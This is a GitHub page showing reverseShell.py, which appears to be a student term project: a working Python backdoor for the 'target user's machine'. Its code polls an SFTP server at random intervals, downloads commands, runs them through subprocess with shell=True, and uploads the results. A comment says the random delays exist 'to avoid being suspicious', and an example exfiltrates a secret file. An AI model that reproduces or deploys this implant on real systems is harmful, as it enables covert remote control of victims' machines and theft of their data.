This repository was archived by the owner on Mar 5, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverseShell.py
More file actions
145 lines (120 loc) · 4.41 KB
/
reverseShell.py
File metadata and controls
145 lines (120 loc) · 4.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#==============================================================================
# Assignment: Term Project
#
# Author: Abiram Kaimathuruthy, Brian Smith
# Language: Python
# To Compile: n/a
#
# Class: DPI912
# Professor: Prof. Kaduri
# Due Date: 2019-12-06
# Submitted: 2019-12-06
#
#-----------------------------------------------------------------------------
#
# Description: Run Shell commands on the target user's machine.
#
# Input: n/a
#
# Output: Uploaded files to SFTP server
#
# Algorithm: starts a new threads upon starting. The thread is used to lookup
# the commands in the SFTP server and executes them. The results
# are uploaded back to the SFTP server.
#
# Required Features Not Included: n/a
#
# Known Bugs: n/a
#
# Classification: A
#
#==============================================================================
import paramiko
import subprocess
import traceback
import threading
import random
import time
import getpass
from datetime import datetime
THREE_HOURS_IN_SECONDS = 10800
THIRTY_MIN_IN_SECONDS = 1800
THREE_MINUTES_IN_SECONDS = 180
TEN_MINUTES_IN_SECONDS = 600
INPUT_FILE_PATH = "/home/lab/Erebus/input/commands"
OUTPUT_FILE_PATH = "/home/lab/Erebus/output/"
HOST_IP_ADDRESS = "localhost"
HOST_PORT = 22
USERNAME = "lab"
PASSWORD = "lab"
DATE_FORMAT = "%d-%m-%Y-%H:%M:%S"
class ReverseShell:
def __init__(self, inputFilePath=INPUT_FILE_PATH, outputFilePath=OUTPUT_FILE_PATH):
self._username = getpass.getuser()
def start(self) -> None:
"""Start Reverse Shell operation.
Note that this method is non-blocking.
"""
thread = threading.Thread(target=self._reverseShell)
thread.start()
def _reverseShell(self) -> None:
while True:
waitTime = random.randint(THIRTY_MIN_IN_SECONDS, THREE_HOURS_IN_SECONDS)
time.sleep(waitTime)
try:
with paramiko.Transport((HOST_IP_ADDRESS, HOST_PORT)) as transport:
transport.connect(
hostkey=None, username=USERNAME, password=PASSWORD
)
with paramiko.SFTPClient.from_transport(transport) as sftp:
outputOfAllCommands = self._executeCommands(sftp)
self._uploadCommandResults(sftp, outputOfAllCommands)
except:
continue
def _uploadCommandResults(
self, sftpClient: paramiko.SFTPClient, result: str
) -> None:
"""Upload command results to SFTP server.
Upload the command results to a newly generate name in SFTP server.
Example:
>>> result = '''
cat secretFile
this is the fist line of the file
second line
last line
'''
>>> with paramiko.SFTPClient.from_transport(transport) as sftp:
... self._uploadCommadResults(sftp,result)
...
"""
filePath = self._generateFilePath()
with sftpClient.open(filePath, "w") as resultFile:
resultFile.write(result)
def _generateFilePath(self) -> str:
"""Return a new file path.
The format is as follows:
OUTPUT_FILE_PATH/username-day-month-year-hour:minute:second
Example:
>>> self._generateFilePath()
~/Erebus/output/lab-11-12-2019-12:22:
"""
currentDateAndTime = datetime.now()
timestamp = currentDateAndTime.strftime(DATE_FORMAT)
return f"{OUTPUT_FILE_PATH}SHELL-{self._username}-{timestamp}"
def _executeCommands(self, sftpClient: paramiko.SFTPClient) -> str:
"""Return the result of executing all the commands.
Open input file and execute all the commands one at a time.
Note that it randomly waits 3 to 10 minutes between each
command to avoid being suspicious.
"""
outputOfAllCommands = ""
with sftpClient.open(INPUT_FILE_PATH) as commandFile:
for line in commandFile:
command = line.rstrip()
output = subprocess.check_output(command.split(), shell=True)
outputOfAllCommands += f"{command}\n{output.decode('utf-8')}\n\n"
waitTime = random.randint(
THREE_MINUTES_IN_SECONDS, TEN_MINUTES_IN_SECONDS
)
time.sleep(waitTime)
return outputOfAllCommands